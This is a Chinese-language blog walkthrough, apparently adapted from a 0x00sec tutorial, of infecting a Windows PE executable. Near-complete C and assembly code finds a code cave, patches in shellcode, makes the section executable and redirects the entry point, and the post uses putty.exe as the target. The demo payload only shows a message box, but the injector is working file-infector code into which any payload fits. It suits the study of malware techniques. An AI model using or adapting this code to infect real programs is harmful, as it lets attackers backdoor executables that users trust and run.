链接:https://0x00sec.org/t/pe-file-infection/401
由于PE文件中每节的内容是按规律排列的,因此节与节之间会有空隙存在,因此可以将我们的代码(shell code)插入这些空隙(code cave)中。
code cave
程序运行示意图
程序流程如下:

  1. 以可读写方式打开文件
  2. 提取PE文件信息
  3. 找一个大小合适的code cave
  4. 根据目标修正shellcode的一些信息(如调用函数的地址)
  5. 需要额外数据来使shellcode工作(重定位)
  6. shellcode注入程序中并修改entry point
1.打开文件

首先,我们需要使用具有读取和写入访问权限的CreateFile函数获取文件的句柄,以便我们能够从文件读取数据并将数据写入文件。 我们还需要获取任务的文件大小。
CreateFileMapping函数创建映射的句柄。 我们指定读写权限(与CreateFile相同),还要指定要使映射的最大大小,即文件的大小。获取文件映射的句柄后,我们可以创建映射本身。MapViewOfFile函数将文件映射到我们的内存空间,并返回一个指向映射文件开头的指针,即文件的开头。 这里我们将返回值转换为与无符号字符值相同的字节的指针。

    if (argc < 2) {
        fprintf(stderr, "Usage: %s <TARGET FILE>\n", argv[0]);
        return 1;
    }
    HANDLE hFile = CreateFile(argv[1], FILE_READ_ACCESS | FILE_WRITE_ACCESS, 
                        0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);//提取文件句柄
    DWORD dwFileSize = GetFileSize(hFile, NULL);//得到文件大小
    HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, dwFileSize, NULL);//创建`filemapping`的句柄,大小设置为原文件大小
    LPBYTE lpFile = (LPBYTE)MapViewOfFile(hMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, dwFileSize);//将该`filemapping`装入内存,返回指向开头的指针
2.提取PE文件信息

我们要求目标文件是合法的PE文件,因此需要验证MZ和PE\0\0签名。
一旦我们验证并且目标文件适合感染,我们需要获得原始入口点(OEP),以便在shellcode完成执行后我们可以跳回它。 在这里,我们还通过从头开始减去shellcode的结尾来计算shellcode的大小。

    // check if valid pe file
    if (VerifyDOS(GetDosHeader(lpFile)) == FALSE ||
        VerifyPE(GetPeHeader(lpFile)) == FALSE) {
        fprintf(stderr, "Not a valid PE file\n");
        return 1;
    }
    PIMAGE_NT_HEADERS pinh = GetPeHeader(lpFile);//文件头
    PIMAGE_SECTION_HEADER pish = GetLastSectionHeader(lpFile);//最后一节的起始处
    // 得到原始的entry point(OEP)
    DWORD dwOEP = pinh->OptionalHeader.AddressOfEntryPoint + 
                    pinh->OptionalHeader.ImageBase;//可用cff explorer验证
    DWORD dwShellcodeSize = (DWORD)ShellcodeEnd - (DWORD)ShellcodeStart;//计算shellcode大小,shellcode是调用messagebox的汇编代码
3. 找一个大小合适的code cave

我们从之前的代码部分获得了pish,它是一个指向最后一个部分头部的指针。使用头信息,我们可以计算指向该部分代码开头的起始位置dwPosition,将使用文件dwFileSize的大小作为停止条件读取文件的末尾。
我们创建了一个循环,从段的开始到结束(文件结尾),每当我们遇到一个空字节时,我们将增加dwCount变量,否则重置。如果存在不是空字节的字节,则返回值。如果dwCount达到shellcode的大小,我们将找到一个可以容纳它的code cave。然后我们需要用shellcode的大小来减去dwPosition,因为我们需要得到code cave开始的偏移位置。如果由于某些原因我们无法找到code cavedwCount应该是大小为0,如果循环无法启动,dwPosition也将为0。

    DWORD dwCount = 0;
    DWORD dwPosition = 0;
    for (dwPosition = pish->PointerToRawData; dwPosition < dwFileSize; dwPosition++) //从最后一节的起始处开始找
    {
        if (*(lpFile + dwPosition) == 0x00) {//空白处是否足够大
            if (dwCount++ == dwShellcodeSize) {
                //dwPosition指向code cave的起始处
                dwPosition -= dwShellcodeSize;
                break;
            }
        } else {
            //如果没有找到足够大小则重新计数
            dwCount = 0;
        }
    }
    //所有节都不合适
    if (dwCount == 0 || dwPosition == 0) {
        return 1;
    }
4. 根据目标修正shellcode的一些信息

shellcode即注入代码,即调用Messagebox的汇编语言。它从pushad开始,这是一个将所有寄存器推送到堆栈的指令,我们需要这样做来保存为程序运行而设置的进程的上下文。 一旦处理完毕,我们就可以执行我们的例程。
在程序运行完成之后,我们用popad恢复寄存器值,推送OEP的地址并返回,有效地跳回到原始入口点,以便程序可以正常运行。
注意应当应__declspec(naked)函数,确保编译器不会对该代码进行优化,否则会找不到我们用作标记的0xAAAAAAAA地址。
shellcode的内容:

#define db(x) __asm _emit x
__declspec(naked) ShellcodeStart(VOID) {
    __asm {
            pushad     //首先保存所有寄存器的值
            call    routine
        routine:
            pop     ebp       //保存返回地址
            sub     ebp, offset routine
            push    0                                // MB_OK
            lea     eax, [ebp + szCaption]
            push    eax                              // lpCaption
            lea     eax, [ebp + szText]
            push    eax                              // lpText
            push    0                                // hWnd
            mov     eax, 0xAAAAAAAA
            call    eax                              // MessageBoxA
            popad
            push    0xAAAAAAAA                       // OEP
            ret
        szCaption:
            db('d') db('T') db('m') db(' ') db('W') db('u') db('Z') db(' ')
            db('h') db('3') db('r') db('e') db(0)
        szText :
            db('H') db('a') db('X') db('X') db('0') db('r') db('3') db('d')
            db(' ') db('b') db('y') db(' ') db('d') db('T') db('m') db(0)
    }
}
VOID ShellcodeEnd() {
}

因此,我们将需要在User32.DLL中找到的功能MessageBoxA的地址。 首先,我们需要一个使用LoadLibrary函数得到User32.DLL的句柄。 然后,我们将使用GetProcAddress的句柄来检索该函数的地址。 一旦得到它,我们可以将地址复制到shellcode中,以便它可以调用MessageBoxA函数。

    // 获得user32.dll的地址
    HMODULE hModule = LoadLibrary("user32.dll");
    LPVOID lpAddress = GetProcAddress(hModule, "MessageBoxA");

    // 创建一个足够容纳shellcode的缓冲区
    HANDLE hHeap = HeapCreate(0, 0, dwShellcodeSize);
    LPVOID lpHeap = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwShellcodeSize);

    // 将shellcode放入缓冲区
    memcpy(lpHeap, ShellcodeStart, dwShellcodeSize);
5. 需要更多的信息来使shellcode工作(重定位)

由于shellcode将被放在另一个程序的内存中,我们无法控制这个地址在哪里,因此需要重定位来动态计算地址:
当例程被调用时,会立即将返回地址pop ebp(这是例程的地址)弹出到基指针寄存器中。然后用例程的地址减去基指针寄存器的值,最终导致0。我们可以通过简单地将它们的地址添加到基指针寄存器来计算字符串变量szCaptionszText的地址,然后将MessageBoxA的参数推送到堆栈上,调用该函数。

    // 修改函数的地址的偏移
    DWORD dwIncrementor = 0;
    for (; dwIncrementor < dwShellcodeSize; dwIncrementor++) {
        if (*((LPDWORD)lpHeap + dwIncrementor) == 0xAAAAAAAA) {//AAAAAAAA是刚才标记的需要修改的地址
            // 插入函数地址
            *((LPDWORD)lpHeap + dwIncrementor) = (DWORD)lpAddress;
            FreeLibrary(hModule);
            break;
        }
    }

    // 修改OEP偏移(entry point)
    for (; dwIncrementor < dwShellcodeSize; dwIncrementor++) {
        if (*((LPDWORD)lpHeap + dwIncrementor) == 0xAAAAAAAA) {
            // 两个AAAAAAAA都需要修改
            *((LPDWORD)lpHeap + dwIncrementor) = dwOEP;
            break;
        }
    }
6. 将shellcode注入程序中并修改entry point

已经得到了完整的shellcode,我们可以使用memcpy将其注入到映射文件中。 鉴于我们用dwPosition保存了code cave的偏移量,使用它来从lpFile指向的文件的开头计算它。 我们只需复制shellcode缓冲区的大小。
另外需要更新头文件中的一些值。 部分VirtualSize需要更改以包括shellcode的大小。并让该部分可执行。最后,AddressOfEntryPoint需要指向shellcode隐藏的code cave的开头。

    // 将shellcode装入code cave
    memcpy((LPBYTE)(lpFile + dwPosition), lpHeap, dwShellcodeSize);
    HeapFree(hHeap, 0, lpHeap);
    HeapDestroy(hHeap);

    // 更新PE的信息
    pish->Misc.VirtualSize += dwShellcodeSize;
    // 让该节可执行
    pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
    // 设置entry point
    // RVA = file offset + virtual offset - raw offset
    pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
   return 0;//程序结束

试错无数次之后终于把程序运行起来了qwq,之前出错的状况是:将shellcode装入缓冲区之后,*((LPDWORD)lpHeap + dwIncrementor) == 0xAAAAAAAA出错,找不到 0xAAAAAAAA这个值。说明即使是用__declspec(naked)还是改变了汇编。
解决方案仍然是随手百度得到的:http://blog.jobbole.com/52819/
为了确保能生成可用作shellcode这样特定格式的代码,需要设置:

1、使用Release模式。近来编译器的Debug模式可能产生逆序的函数,并且会插入许多与位置相关的调用。
x86模式的release
2、禁用优化。编译器会默认优化那些没有使用的函数,而那可能正是我们所需要的。
禁用优化
3、禁用栈缓冲区安全检查(/Gs)。在函数头尾所调用的栈检查函数,存在于二进制文件的某个特定位置,导致输出的函数不能重定位,这对shellcode是无意义的。
禁用安全检查

在进行以上配置后,会出现const.char类型形参与LPWSTR类型的实参不兼容等类似报错,即使将字符集改成使用多字节字符集仍然报错。
报错
解决方案:将 char*类型的szStr转换成WCHARLPWSTR)类型:

char* szStr = "C://Users/yingtaomj/Desktop/putty.exe";
	WCHAR wszClassName[256];
	memset(wszClassName, 0, sizeof(wszClassName));
	MultiByteToWideChar(CP_ACP, 0, szStr, strlen(szStr) + 1, wszClassName,
		sizeof(wszClassName) / sizeof(wszClassName[0]));

效果如图:
首先弹出
再弹出

完整代码见:https://github.com/yingtaomj/PE-file-infection

posted on 2017-04-23 11:24  yingtaomj  阅读(392)  评论(0编辑  收藏  举报